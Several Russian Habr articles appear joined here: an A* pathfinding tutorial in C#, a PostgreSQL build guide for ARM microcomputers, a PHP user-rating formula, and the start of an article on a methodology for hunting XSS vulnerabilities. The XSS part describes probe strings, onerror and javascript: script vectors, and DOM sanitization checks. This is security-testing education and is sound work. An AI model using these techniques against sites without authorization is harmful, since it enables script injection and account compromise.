{ "D", new [] { "E", "A" } },
{ "E", new [] { "B" } }
};
Search(g, "A");
}
}
```
Вот граф, представляющий сетку с взвешенными рёбрами (пример с лесом и стенами из предыдущей статьи):
```
using System;
using System.Collections.Generic;
// Для A* нужен только WeightedGraph и тип точек L, и карта *не*
// обязана быть сеткой. Однако в коде примера я использую сетку.
public interface WeightedGraph
{
double Cost(Location a, Location b);
IEnumerable Neighbors(Location id);
}
public struct Location
{
// Примечания по реализации: я использую Equals по умолчанию,
// но это может быть медленно. Возможно, в реальном проекте стоит
// заменить Equals и GetHashCode.
public readonly int x, y;
public Location(int x, int y)
{
this.x = x;
this.y = y;
}
}
public class SquareGrid : WeightedGraph
{
// Примечания по реализации: для удобства я сделал поля публичными,
// но в реальном проекте, возможно, стоит следовать стандартному
// стилю и сделать их скрытыми.
public static readonly Location[] DIRS = new []
{
new Location(1, 0),
new Location(0, -1),
new Location(-1, 0),
new Location(0, 1)
};
public int width, height;
public HashSet walls = new HashSet();
public HashSet forests = new HashSet();
public SquareGrid(int width, int height)
{
this.width = width;
this.height = height;
}
public bool InBounds(Location id)
{
return 0 <= id.x && id.x < width
&& 0 <= id.y && id.y < height;
}
public bool Passable(Location id)
{
return !walls.Contains(id);
}
public double Cost(Location a, Location b)
{
return forests.Contains(b) ? 5 : 1;
}
public IEnumerable Neighbors(Location id)
{
foreach (var dir in DIRS) {
Location next = new Location(id.x + dir.x, id.y + dir.y);
if (InBounds(next) && Passable(next)) {
yield return next;
}
}
}
}
public class PriorityQueue
{
// В этом примере я использую несортированный массив, но в идеале
// это должна быть двоичная куча. Существует открытый запрос на добавление
// двоичной кучи к стандартной библиотеке C#: https://github.com/dotnet/corefx/issues/574
//
// Но пока её там нет, можно использовать класс двоичной кучи:
// \* https://github.com/BlueRaja/High-Speed-Priority-Queue-for-C-Sharp
// \* http://visualstudiomagazine.com/articles/2012/11/01/priority-queues-with-c.aspx
// \* http://xfleury.github.io/graphsearch.html
// \* http://stackoverflow.com/questions/102398/priority-queue-in-net
private List> elements = new List>();
public int Count
{
get { return elements.Count; }
}
public void Enqueue(T item, double priority)
{
elements.Add(Tuple.Create(item, priority));
}
public T Dequeue()
{
int bestIndex = 0;
for (int i = 0; i < elements.Count; i++) {
if (elements[i].Item2 < elements[bestIndex].Item2) {
bestIndex = i;
}
}
T bestItem = elements[bestIndex].Item1;
elements.RemoveAt(bestIndex);
return bestItem;
}
}
/\* Примечание о типах: в предыдущей статье в коде Python я использовал
\* для стоимости, эвристики и приоритетов просто числа. В коде C++
\* я использую для этого typedef, потому что может потребоваться int, double или
\* другой тип. В этом коде на C# я использую для стоимости, эвристики
\* и приоритетов double. Можно использовать int, если вы уверены, что значения
\* никогда не будут больше, или числа меньшего размера, если знаете, что
\* значения всегда будут небольшими. \*/
public class AStarSearch
{
public Dictionary cameFrom
= new Dictionary();
public Dictionary costSoFar
= new Dictionary();
// Примечание: обобщённая версия A\* абстрагируется от Location
// и Heuristic
static public double Heuristic(Location a, Location b)
{
return Math.Abs(a.x - b.x) + Math.Abs(a.y - b.y);
}
public AStarSearch(WeightedGraph graph, Location start, Location goal)
{
var frontier = new PriorityQueue();
frontier.Enqueue(start, 0);
cameFrom[start] = start;
costSoFar[start] = 0;
while (frontier.Count > 0)
{
var current = frontier.Dequeue();
if (current.Equals(goal))
{
break;
}
foreach (var next in graph.Neighbors(current))
{
double newCost = costSoFar[current]
+ graph.Cost(current, next);
if (!costSoFar.ContainsKey(next)
|| newCost < costSoFar[next])
{
costSoFar[next] = newCost;
double priority = newCost + Heuristic(next, goal);
frontier.Enqueue(next, priority);
cameFrom[next] = current;
}
}
}
}
}
public class Test
{
static void DrawGrid(SquareGrid grid, AStarSearch astar) {
// Печать массива cameFrom
for (var y = 0; y < 10; y++)
{
for (var x = 0; x < 10; x++)
{
Location id = new Location(x, y);
Location ptr = id;
if (!astar.cameFrom.TryGetValue(id, out ptr))
{
ptr = id;
}
if (grid.walls.Contains(id)) { Console.Write("##"); }
else if (ptr.x == x+1) { Console.Write("\u2192 "); }
else if (ptr.x == x-1) { Console.Write("\u2190 "); }
else if (ptr.y == y+1) { Console.Write("\u2193 "); }
else if (ptr.y == y-1) { Console.Write("\u2191 "); }
else { Console.Write("\* "); }
}
Console.WriteLine();
}
}
static void Main()
{
// Создание "рисунка 4" из предыдущей статьи
var grid = new SquareGrid(10, 10);
for (var x = 1; x < 4; x++)
{
for (var y = 7; y < 9; y++)
{
grid.walls.Add(new Location(x, y));
}
}
grid.forests = new HashSet
{
new Location(3, 4), new Location(3, 5),
new Location(4, 1), new Location(4, 2),
new Location(4, 3), new Location(4, 4),
new Location(4, 5), new Location(4, 6),
new Location(4, 7), new Location(4, 8),
new Location(5, 1), new Location(5, 2),
new Location(5, 3), new Location(5, 4),
new Location(5, 5), new Location(5, 6),
new Location(5, 7), new Location(5, 8),
new Location(6, 2), new Location(6, 3),
new Location(6, 4), new Location(6, 5),
new Location(6, 6), new Location(6, 7),
new Location(7, 3), new Location(7, 4),
new Location(7, 5)
};
// Выполнение A\*
var astar = new AStarSearch(grid, new Location(1, 4),
new Location(8, 5));
DrawGrid(grid, astar);
}
}
```
4 Оптимизации
-------------
При создании кода для статьи я делал упор на простоту и применимость, а не на производительность. **Сначала заставь код работать, потом оптимизируй скорость.** Многие оптимизации, использованные мной в реальных проектах, специфичны для проекта, поэтому вместо демонстрации оптимального кода я подскажу некоторые идеи, которые вы можете реализовать в собственном проекте:
### 4.1 Граф
Самая большая оптимизация, которую можно внести — уменьшение количества узлов. Рекомендация номер 1: если вы используете карту из сеток, то попробуйте применить граф поиска путей [не на основе сеток](http://www.redblobgames.com/pathfinding/grids/algorithms.html). Это не всегда возможно, но такой вариант стоит рассмотреть.
Если граф имеет простую структуру (например, сетка), то вычисляйте соседей в функции. Если он имеет более сложную структуру (без сеток, или сетка большим количеством стен, как в лабиринте), то храните соседей в структуре данных.
Также можно сэкономить операции копирования на повторном использовании массива соседей. Вместо выполнения *возврата* каждый раз, выделите его один раз в коде поиска и передайте его в метод соседей графа.
### 4.2 Очередь
В поиске в ширину используется обычная очередь, а не очередь с приоритетами, применяемая в других алгоритмах. Очереди быстрее и проще, чем очереди с приоритетами. В других алгоритмах исследуется меньшее количество узлов. Для большинства игровых карт уменьшение количества исследуемых узлов стоит замедления других алгоритмов. Однако есть карты, в которых много не сэкономишь, и поэтому в них лучше использовать поиск в ширину.
Для очередей используйте вместо массива deque. deque обеспечивает возможность быстрой вставки и удаления с любой стороны, в то время как массив быстр только с одного конца. В Python стоит использовать [collections.deque](https://docs.python.org/3/library/collections.html); в C++ рассмотрите контейнер [deque](http://en.cppreference.com/w/cpp/container/deque). Однако для поиска в ширину даже не обязательно нужна очередь: в нём можно использовать два вектора, переключаясь между ними, когда один из них пуст.
Для очереди с приоритетами используйте двоичную кучу, а не массив или отсортированный массив. Двоичная куча обеспечивает возможность быстрой вставки и удаления, в то время как массив быстр только в чём-то одном. В Python рекомендую использовать [heapq](https://docs.python.org/2/library/heapq.html); в C++ попробуйте контейнер [priority\_queue](http://en.cppreference.com/w/cpp/container/priority_queue).
В Python показанные мной выше классы Queue и PriorityQueue настолько просты, что можно встроить методы в алгоритм поиска. Не знаю, сможете ли вы много на этом выиграть, стоит потестировать. Версии C++ будут встроенными.
Заметьте, что в алгоритме Дейкстры приоритет очереди с приоритетами сохраняется дважды, один раз в очереди с приоритетами, второй — в `cost_so_far`, поэтому можно написать очередь с приоритетами, получающую приоритет из любого места. Не знаю, стоит ли оно того.
В стандартной реализации алгоритма Дейкстры используется изменения приоритета в очереди с приоритетами. Однако **что произойдёт, если не менять приоритет?** В результате там появятся дублирующие элементы. *Но алгоритм всё равно работает.* Он будет посещать повторно некоторые точки больше, чем нужно. В очереди с приоритетами будет больше элементов, чем необходимо, что замедляет работу, но структуры данных, поддерживающие изменение приоритета, тоже замедляют работу из-за наличия большего количества элементов. См. исследование [«Очереди с приоритетами и алгоритм Дейкстры»](http://www.cs.sunysb.edu/~rezaul/papers/TR-07-54.pdf) Чена, Чаудхери, Рамачандрана, Лан-Роша и Тонга. Это исследование также рекомендует рассмотреть [pairing heaps](http://en.wikipedia.org/wiki/Pairing_heap) и другие структуры данных.
Если вы думаете над использованием чего-то вместо двоичной кучи, сначала измерьте размер границы и частоту изменения приоритетов. Профилируйте код и посмотрите, является ли очередь с приоритетами узким местом.
Я чувствую, что перспективным направлением является *группирование данных*. Также как блочная сортировка и поразрядная сортировка могут быть полезными альтернативами быстрой сортировки, когда ключами являются целочисленные значения, в случае с алгоритмов Дейкстры и A\* ситуация даже ещё лучше. Приоритеты в алгоритме Дейкстры *невероятно низки*. Если самый нижний элемент в очереди имеет приоритет `f`, то самый верхний элемент имеет приоритет `f+e`, где `e` — максимальный вес ребра. В примере с лесом у нас есть веса рёбер 1 и 5. Это значит, что все приоритеты в очереди будут находиться между `f` и `f+5`. Поскольку все они являются целочисленными, *всего есть шесть разных приоритетов*. Можно использовать шесть блоков или вообще ничего не сортировать! В A\* создаётся более широкий диапазон приоритетов, но всё равно этот способ стоит рассмотреть. И есть более интересные подходы к группировке, способные обрабатывать более широкий спектр ситуаций.
[У меня есть ещё одна статья о структурах данных очередей с приоритетами](http://theory.stanford.edu/~amitp/GameProgramming/ImplementationNotes.html#set-representation).
### 4.3 Поиск
Эвристика увеличивает сложность и затраты времени ЦП. Однако целью здесь является исследование меньшего количества узлов. В некоторых картах (например, в лабиринтах), эвристика может и не добавлять много информации, и может быть лучше использовать более простой алгоритм без эвристики.
Если в вашем графе в качестве точек используются целочисленные значения, то рассмотрите возможность использования для `cost_so_far`, `visited`, `came_from` и т.д. простого массива, а не таблицы хешей. Поскольку `visited` является массивом boolean, можно использовать битовый вектор. Инициализируйте битовый вектор для всех идентификаторов, но оставьте `cost_so_far` и `came_from` неинициализированными (если язык это позволяет). Потом инициализируйте их только при первом посещении.
Если вы будете выполнять только один поиск за раз, то можно выделить статически и повторно использовать структуры данных из одного вызова в следующем. Вместо инициализации их на входе, выполняйте их сброс на выходе. Можно использовать массив для отслеживания изменяемых точек, а потом изменять только их. Например, если вы используете массив `visited[]`, инициализированный под 1000 узлов, но большинство процессов поиска посещает меньше 100 узлов, то можно изменять массив индексов, а потом изменять только эти 100 узлов при выходе из функции, вместо повторной инициализации всех 1000 узлов при входе в функцию.
Некоторые люди используют для ускорения поиска A\* *недопустимую* (переоценивающую) эвристику. Это кажется разумным. Однако я не рассматривал внимательно эти реализации. Полагаю (но не знаю точно), что некоторые уже посещённые элементы требуется посетить повторно, даже если они уже удалены из границы.
В некоторых реализациях в открытое множество *всегда* вставляется новый узел, даже если он уже там есть. Так можно избежать потенциально затратного этапа проверки того, находится ли уже узел в открытом множестве. Но при этом открытое множество становится больше/медленнее и в результате придётся оценивать больше узлов, чем необходимо. Если проверка открытого множества окажется затратной, то, возможно, стоит использовать такой подход. Однако в представленном мной коде я сделал проверку дешёвой, и не использую этот подход.
В некоторых реализациях *не проверяется*, лучше ли новый узел уже существующего в открытом множестве. Это позволяет избежать потенциально затратной проверки. Однако это может *привести к ошибке*. На некоторых типах карт вы не найдёте кратчайшего пути, если пропустите эту проверку. В представленном мной коде я выполняю эту проверку (`new_cost < cost_so_far`). Эта проверка дешевая, потому что я сделал поиск в `cost_so_far` дешёвым.
5 Устранение ошибок
-------------------
### 5.1 Неверные пути
Если вы не получаете кратчайшего пути, попробуйте выполнить следующие проверки:
* Работает ли правильно очередь с приоритетами? Попробуйте остановить поиск и извлеките из очереди все элементы. Они должны идти по порядку.
* Переоценивает ли эвристика истинное расстояние? `priority` нового узла никогда не должен быть ниже приоритета его родителя, если вы не переоцениваете расстояние (это можно сделать, но вы больше не получите кратчайшего пути).
* В языке со статической типизацией значения стоимости, эвристики и приоритетов должны иметь совместимые типы. Код примера в этой статье работает и с целочисленными типами, и с типами с плавающей запятой, но не все графы и эвристики ограничены целочисленными значениями. Поскольку приоритеты являются суммой стоимости и эвристики, то приоритеты должны иметь тип с плавающей запятой, если или стоимость, или эвристика имеют тип с плавающей запятой.
### 5.2 Некрасивые пути
Чаще всего при выполнении A\* на сетках мне задают вопрос: *почему пути не выглядят прямыми?* Если сообщить A\*, что все движения по сетке имеют равную стоимость, то получается множество кратчайших путей одной длины, и алгоритм произвольно выбирает один из них. Путь является *кратким*, но он не *выглядит* хорошим.
* Одним из решений будет *спрямление* путей после алгоритма с помощью алгоритма «string pulling».
* Ещё одно решение — *направлять* пути в нужную сторону регулированием эвристики. Есть несколько дешёвых трюков, которые работают не во всех ситуациях, [здесь можно прочитать об этом подробнее](http://theory.stanford.edu/~amitp/GameProgramming/Heuristics.html#breaking-ties).
* Третье решение — *не использовать сетку*. Сообщайте A\* только места, в которых можно поворачивать, а не каждый квадрат сетки. [Здесь можно прочитать об этом подробнее](http://www.redblobgames.com/pathfinding/grids/algorithms.html).
* Четвёртое решение — хак, но он работает не всегда. При итерации по соседям вместо использования одинакового порядка (например: север, восток, юг, запад), изменяйте порядок в «нечётных» узлах сетки (в которых (x+y) % 2 == 1). **Я использую этот трюк в своих статьях.**
6 Дополнительное чтение
-----------------------
* В учебниках алгоритмов часто используется математическая запись с однобуквенными именами переменных. В своих статьях я старался использовать более понятные имена переменных. Соответствия:
+ `cost` иногда записывается как *w* or *d* или *l* или length
+ `cost_so_far` обычно записывается как *g* или *d* или distance
+ `heuristic` обычно записывается как *h*
+ `priority` в A\* обычно записывается как *f*, где *f* = *g* + *h*
+ `came_from` иногда записывается как *π* или parent или previous или prev
+ `frontier` обычно называется OPEN
+ `visited` — это сопряжение OPEN и CLOSED
+ точки, например, `current` и `next` записываются буквами *u*, *v*
* Ссылки на Википедию:
+ [Очередь](https://ru.wikipedia.org/wiki/%D0%9E%D1%87%D0%B5%D1%80%D0%B5%D0%B4%D1%8C_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))
+ [Граф](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D1%8B%D0%B9_%D0%B3%D1%80%D0%B0%D1%84)
+ [Поиск в ширину](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B8%D1%81%D0%BA_%D0%B2_%D1%88%D0%B8%D1%80%D0%B8%D0%BD%D1%83)
+ (Жадный) [поиск по наилучшему первому совпадению](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B8%D1%81%D0%BA_%D0%BF%D0%BE_%D0%BF%D0%B5%D1%80%D0%B2%D0%BE%D0%BC%D1%83_%D0%BD%D0%B0%D0%B8%D0%BB%D1%83%D1%87%D1%88%D0%B5%D0%BC%D1%83_%D1%81%D0%BE%D0%B2%D0%BF%D0%B0%D0%B4%D0%B5%D0%BD%D0%B8%D1%8E)
+ [Алгоритм Дейкстры](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%94%D0%B5%D0%B9%D0%BA%D1%81%D1%82%D1%80%D1%8B)
+ [Алгоритм A\*](https://ru.wikipedia.org/wiki/A*) | https://habr.com/ru/post/331220/ | null | ru | null |
# Как установить PostgreSQL 9.4 на Raspberry Pi, Radxa или другие подобные микрокомпьютеры под управлением Lubuntu
Я знаю, что это немного абсурдно, но иногда, у вас могут быть такие задачи, где применение микрокомпьютеров является одним их самых лучших вариантов.
Всего, в моем распоряжении было три микрокомпьютера: Radxa, Cubieboard A20 и Raspberry Pi. В качестве подопытного был выбран Radxa. Он имеет 4-х ядерный ARM Cortex-A9, 2GB ОЗУ, 8GB ППЗУ и интегрированный Wi-Fi модуль. Raspberry Pi конечно тоже можно использовать, но он для моих задач не подходил по производительности. Cubieboard A20 слабее Radxa, но его главным плюсом является наличие контроллера SATA на борту.
На всех микрокомпьютерах установлена Ubuntu Server 14.04 (Linaro для процессоров ARM):
```
$ lsb_release -a
No LSB modules are available.
Distributor ID: Linaro
Description: Linaro 14.04
Release: 14.04
Codename: trusty
$ uname -a
Linux radxa 3.0.36+ #7 SMP PREEMPT Wed Aug 20 10:35:50 CST 2014 armv7l armv7l armv7l GNU/Linux
```
Итак, начнем:
1. Создаем файл */etc/apt/sources.list.d/pgdg.list* и добавляем в него следующие репозитории:
```
deb http://apt.postgresql.org/pub/repos/apt/ trusty-pgdg main 9.4
deb-src http://apt.postgresql.org/pub/repos/apt/ trusty-pgdg main 9.4
```
Если у вас другая версия дистрибутива, то замените *trusty* на название используемого дистрибутива.
2. Добавьте новый ключ для apt:
```
wget --quiet -O - http://apt.postgresql.org/pub/repos/apt/ACCC4CF8.asc | sudo apt-key add -
```
3. Обновите список пакетов:
```
sudo aptitude update
```
4. Установите зависимости для PostgreSQL 9.4:
```
sudo apt-get install fakeroot
sudo apt-get build-dep postgresql-9.4
```
5. Загружаем и собираем PostgreSQL 9.4 из исходников. Внимание, (**не выполняйте эти команды из под рута**):
```
cd /tmp
apt-get source --compile postgresql-9.4
```
Процесс сборки на Radxa занял примерно около часа и во время работы пролетел незаметно. На Raspberry Pi, лучше запускать такие команды перед сном.
После успешной сборки, вы получите 16 deb-пакетов.
6. Создаем локальный репозиторий и переносим в него deb-пакеты:
```
sudo mkdir /var/local/repository
sudo mv *.deb /var/local/repository/
cd /var/local/repository
sudo dpkg-scanpackages ./ > Packages && gzip -f Packages
```
7. Добавляем локальный репозиторий в */etc/apt/sources.list.d/pgdg.list*:
```
deb [ trusted=yes ] file:///var/local/repository ./
```
8. Обновляем список доступных пакетов:
```
sudo aptitude update
```
9. Теперь мы можем установить PostgreSQL 9.4:
```
sudo aptitude install postgresql-9.4
```
10. Проверяем работу:
```
afedorov@radxa:~$ sudo su - postgres
postgres@radxa:~$ psql
psql (9.4beta3)
Type "help" for help.
postgres=#
``` | https://habr.com/ru/post/242905/ | null | ru | null |
# Алгоритм популярности пользователя на сайте — «Нестандартный подход к стандартным вещам»
Все видели на сайтах систему рейтинга статей и материалов. Многие ее даже делали сами, но не каждый делал рейтинг людей на сайте.
В этой статье я поведаю как сделать качественную систему рейтинга для пользователей вашего ресурса.
Сначала я проведу линию для вас разных алгоритмов рейтинга:
**I — Пользователи получают только "+"**
Основные преимущества:* Нету заморочек.
* Минимальные нагрузки на сайт и базу.
Недостатки:* один человек, один балл.
* Личный авторитет на сайте/форуме ничего не стоит. Ты одна единица и все.
**II — Пользователи получают "+" и "-"**
Больших отличий мало от прошлой системы. Добавилось еще одно поле в базе.
Основные преимущества:* Нету заморочек.
* Минимальные нагрузки на сайт и базу.
Недостатки:* один человек, один балл.
* Личный авторитет на сайте/форуме ничего не стоит. Ты одна единица и все.
**III — гипербола от @klim-danilovklim-danilov**
Да, это довольно интересная идея но для оценки материала. Но не пользователей.
Основные преимущества:* «вес каждого плюса или минуса постоянно уменьшается в два раза, в порядке хронологии.
То есть первый юзер ставит плюс весом в +50 балла, следующий ставит плюс весом в +25 балла, минус в -50 балла, минус в -25, минус в -12,5 баллов»
Недостатки:* Каждый последующий голос уже имеет меньший вес.
* Система еще не закончена.
**IV — среднее статистическое**
Одна из самых распостраненных систем. В основе лежит общая сумма проголосовавших и общий бал деленный друг на друга.
Основные преимущества:* Система давно проверена и работает.
* Не высокие затраты ресурсов.
Недостатки:* Пользователю дано право голосовать с минимума до максимума. А обычно по статистике пользователи ставят самый низкий балл или самый высокий.
* Система для оценки исключительно материала.
**V — плавающая система**
В основе принципа лежит изменение кармы в сторону плюса или минуса.
Основные преимущества:* Пожалуй самая лучшая система для оценки пользователей/материала.
* Не высокие затраты ресурсов.
Недостатки:* И снова. Твой авторитет на сайте/форуме в рейтенговой системе ничего не стоит.
Теперь я внесу свою лепту.
Зачем изобретать велосипед было, когда уже существуют алгоритмы оценки людей?
— А ответ прост, они не являются корректными когда идет разговор о том, что нужно выделить действительно авторитетных людей на ресурсе.
В основе алгоритма лежит геометрическая фигура «прямоугольного треугольника».
Да порой в геометрии мы можем найти вполне необычные вещи.
Почему был избран именно треугольник?
Дело в том что высота треугольника может соответствовать рейтингу пользователя который ставит оценку.
Длина треугольнка рейтингу которому ставят оценку. А гипотенуза как раз та разнице между авторитетами пользователей.
Теперь приступим к самому интересному.
```
$a = 254; // Рейтинг пользователя голосующего
$b = 47; // Рейтинг пользователя получающего голос
/* Установим стандартные цифры, которые можно встретить на любом форуме*/
if($b<=0){ $b=1; }
/* Проверяем наличие нуля и отрицательного числа в переменной $b */
### Получаем квадрат стороны А * 2 ###
$aInSquare = ($a * 2) * ($a * 2);
/* Сейчас вы спросите, а почему мы увеличиваем значение переменной в 2 раза?
Методом научного тыка, я увидел что когда у переменной $a число больше в 2 раза, то и результат получается более естественным */
### Получаем квадрат стороны B ###
$bInSquare = $b * $b;
###Получаем квадрат стороны гипотенузы ###
$cInSquare = $bInSquare + $aInSquare;
### Получаем длину гипотенузы###
$c = sqrt($cInSquare);
$result = (int) round($c / $b);
/* Делим полученный результат гипотенузы на содержимое стороны $b и сводим значение в целое с помощью округления и превращения числа в int */
if($result > $b / 2){ $result = (int) round($b / 2); }
/* Проверим чтоб пользователю не прилетело слишком много баллов. Если ему поставл очень авторитетный человек, то карма максимум возрастет на 50% */
var_dump($result);
/* А в конце мы получим ответ 11, это число как раз адекватно поднимит карму пользователя. */
?>
```
Может кто-то спросит. А почему не использовал формулу $result = ($a \* 2) / $b;?
Данная формула не адекватно работает когда $a меньше $b более чем в 2 раза.
В течении пары месяцев мной будет закончено написание проекта (об этом я напишу после закрытого бета-тестирования).
Алгоритм будет проверен на реальном проекте, где это критически необходимо.
Итог:
После тысячи тестов с $a = rand(0,99999); $b = rand(0,99999);
я пришел к паре багов:
1й — делить на 0.
Исправил if($b<=0){ $b=1; }
2й — когда получающий пользователь имеет 1 балл, и получает от пользователя с 1000, то его объем получающегося становится 2000
Исправил if($result > $b / 2){ $result = (int) round($b / 2); } Максимум можно увеличить на 50%.
Бенчмарк Code-Igniter не дал результатов нагрузки (0,0000).
Всем спасибо. Ищите вдохновление во всем что видите. | https://habr.com/ru/post/107685/ | null | ru | null |
# Эффективный поиск XSS-уязвимостей
![](https://habrastorage.org/r/w780q1/webt/pe/ed/5c/peed5cpoi-4fqgjnbv4l3faam0k.jpeg)
Про XSS-уязвимости известно давным-давно — казалось бы, нужен ли миру ещё один материал о них? Но когда **Иван Румак**, занимающийся тестированием безопасности, поделился методологией их поиска на нашей конференции **[Heisenbug](https://heisenbug-moscow.ru/?utm_source=habr&utm_medium=569270)**, реакция зрителей оказалась очень положительной.
И спустя два года у этого доклада по-прежнему растут просмотры и лайки, это один из самых востребованных материалов Heisenbug. Поэтому теперь мы решили, что многим будет полезна текстовая версия, и сделали ее для Хабра.
Под катом — и текст, и видео. Далее повествование идет от лица Ивана.
Обо мне
-------
Я занимаюсь тестированием безопасности. По сути, занимаюсь всеми вопросами, связанными с безопасностью сайтов. Параллельно участвую в разных Bug Bounty, занимаю 110 место на платформе [HackerOne](https://www.hackerone.com/), нахожу баги в Mail.ru, Яндексе, Google, Yahoo! и других крупных компаниях. Обучаю, консультирую, рассказываю про безопасность в вебе и не только.
История доклада
---------------
Когда я начал интересоваться безопасностью, то был тестировщиком и проверял функциональные баги, а не те, что связаны с безопасностью. Но я увлекся безопасностью и однажды стал самым прошаренным тестировщиком в этой сфере. Ко мне начали приходить другие тестировщики и разработчики. Я понял, что тестировщики тоже хотят научиться искать уязвимости, им это интересно, но при этом они не знают, что конкретно нужно делать.
Что такое XSS? Как искать? Как понимать, есть XSS или нет? Сейчас разберемся.
План
----
* Что такое XSS-уязвимости
* Методология поиска XSS (которой пользуюсь сам и с помощью которой нашел более 60 XSS в Bug Bounty за последний год)
* Какую проверочную строку (пейлоад) использовать для поиска XSS-уязвимостей
* Кейсы из разных Bug Bounty-программ (какие XSS были, как их можно найти, и баги, которые по методологии поиска похожи на поиск XSS)
Зачем искать уязвимости?
------------------------
Вам — полезный навык, который никогда не будет лишним. Компании, где вы работаете — дополнительная безопасность. Win-win!
Что такое XSS
-------------
XSS (Cross-Site Scripting) — возможность выполнения произвольного JavaScript-кода в браузере жертвы в контексте вашего сайта.
Вспомним, как вызывается JavaScript из HTML:
**`…`** — всё, что внутри, будет срендерено браузером как JavaScript.
**`![](x)test`** — можно использовать обработчики событий, то есть атрибут, например, **`onerror`**. Браузер попробует подгрузить картинку по источнику x. Если картинка не прогрузится, он выполнит то, что указано в обработчике событий.
**`[click to trigger javascript](javascript:…)`** — если гиперссылка ведет не на схему HTTP/HTTPS, а начинается со схемы JavaScript, то при нажатии на ссылку всё, что после схемы JavaScript, будет срендерено как JavaScript.
— то же самое, что и с гиперссылкой, только ничего не надо кликать, сработает при прогрузке.
XSS — одна из самых распространенных уязвимостей в вебе. К XSS уязвимо более 95% веб-приложений. Чтобы найти баг, не обязательно обладать специальными навыками, проходить курсы или получать высшее образование.
И действительно, несмотря на то, что XSS — распространенная уязвимость, она остается одной из самых серьезных клиентских уязвимостей.
Причины возникновения XSS
-------------------------
Во-первых, XSS возникает при генерации HTML-страницы, когда разработчику нужно поместить туда указанные пользователем данные (ФИО, организация). Если разработчик записал данные в БД, затем тянет ее в HTML-шаблон, то это stored (сохраненный) XSS.
Разработчику могут понадобиться параметры из URL или тела запроса. Такой тип XSS называется reflected.
Причин XSS куча, потому что есть динамические изменения страницы с помощью JS, есть события, которые постоянно происходят на клиентской стороне с JS.
Но в этом докладе я расскажу про самые распространенные типы — stored XSS и reflected XSS.
Возьмем пример — обычная страница ВКонтакте. О чем подумает человек, который хочет найти XSS-уязвимости?
Во-первых, он обратит внимание на то, что есть поля, можно куда-то зарегистрироваться и что-то ввести.
![](https://habrastorage.org/r/w1560/webt/ea/nz/4g/eanz4gmdl_zfybkqpnqos2hvl50.png)
Попробуем ввести туда честные данные, но при этом добавим к ним . Он нужен для вызова JavaScript между открывающим и закрывающим тегами.
![](https://habrastorage.org/r/w1560/webt/r7/qp/9e/r7qp9ecoyorp7c1pzxrscil7jmi.png)
Что произойдет в этом случае?
Мы, как пользователь, который хочет зарегистрироваться во ВКонтакте, заливаем ему наши проверочные строки. Дальше разработчик сохраняет их в базу данных, и с этими данными ему надо работать. Нужно показывать их пользователю на его странице, в личных сообщениях и много где еще. Дальше данные попадают пользователю в браузер, когда они возвращаются ему обратно.
![](https://habrastorage.org/r/w1560/webt/0y/nt/tq/0ynttqeh5azxai4f0tkrvxpccpw.png)
Допустим, разработчик не подумал, что в качестве имени пользователя могут быть не только честные данные, а еще и HTML-теги, которые встраиваются в оригинальный HTML-шаблон. Браузеру пофиг, он рендерит все, что ему сказал разработчик, поэтому рендерится и строка.
Оно могло бы выстрелить где-нибудь здесь:
![](https://habrastorage.org/r/w1560/webt/bo/zu/ba/bozubab9h5ptgl3xxl8y7rnkqas.png)
Конечно, во ВКонтакте такой уязвимости нет. Но, так как эта страница является публично доступной, любой в интернете может на нее зайти, то это была бы довольно серьезная уязвимость.
Но вообще мы, как тестировщики, которые ищут XSS-уязвимости, чаще всего делаем это блэкбоксом. Мы не знаем, что происходит на сервере, какая база данных там используется, делает ли разработчик что-то с этими данными. Всё, что у нас есть, — это поле, куда мы можем что-то ввести, и какие-то страницы, куда это потом возвращается.
Методология поиска XSS, которую я сейчас вам покажу, основана как раз на том, что мы не знаем, какие процессы происходят на сервере.
XSS-методология
---------------
1. Помещаем пейлоад (проверочную строку, призванную выявлять уязвимости) во все поля и параметры.
2. Смотрим в DOM на предмет санитизации.
3. Рано или поздно спецсимволы не перекодируются, или выполнится функция alert.
4. Раскручиваем дальше или репортим, как есть.
Еще один пример — страница поиска. В поле поиска попробуем ввести «qweqwe».
![](https://habrastorage.org/r/w1560/webt/rc/u1/kc/rcu1kch-eohvjaohjkrtklqgeae.png)
Поищем это в DOM:
F12 -> Ctrl +F -> “qweqwe”
Мы видим, что строка «qweqwe» попала из поля для поисков в параметр query. И она попала в страницу 17 раз. То есть у нас есть 17 потенциальных мест, где разработчик может не подумать о выводе этой строки пользователю в браузер, и может возникнуть XSS-уязвимость.
![](https://habrastorage.org/r/w1560/webt/fh/p1/zg/fhp1zgguk_9mxs5g4licocl0hlm.png)
Конечно, «qweqwe» недостаточно, чтобы выявить XSS-уязвимость, мы добавим туда спецсимволы:
Input: qweqwe **' " > <**
Посмотрим, что выведется в DOM:
![](https://habrastorage.org/r/w1560/webt/j9/2o/av/j92oav9yss9vortkkvhqw0x5mdk.png)
Спецсимволы превратились в закодированный кусок символов. Это уже сигнализирует, что есть санитизация, возможно, неосознанная.
Но в девятом месте, где наша строка встраивается в DOM, спецсимволы на первый взгляд не перекодировались, то есть они отображаются здесь как есть.
![](https://habrastorage.org/r/w1560/webt/ol/4b/x3/ol4bx3mxuj_bqzoy4ww1kfnom3c.png)
Но если мы попробуем отредактировать это как HTML, то увидим, что двойная кавычка превратилась в `"`.
![](https://habrastorage.org/r/w1560/webt/9b/h4/d3/9bh4d3lrcqqadkjvi92ipicniuu.png)
![](https://habrastorage.org/r/w1560/webt/df/kr/ip/dfkripm4hezkis8ahs3bu9ijhsg.png)
Это называется **HTML entities**. Особенность использования браузером этой кодировки заключается в том, что браузер рисует соответствующий символ на странице, но HTML-теги, состоящие из этих символов, не рендерятся браузером как код:
```
‘ — '
“ — "
> — >
< — <
& — &
```
Это выглядит вот так:
![](https://habrastorage.org/r/w1560/webt/-p/n7/hr/-pn7hrfnkxg3iu7urvvl5ymd4na.png)
Слева у нас HTML-код, который должен отрендерить браузер, но он просто показывает его как строку.
**Санитизация** — преобразование определенных символов пользовательской строки в соответствующие HTML entities или другую кодировку.
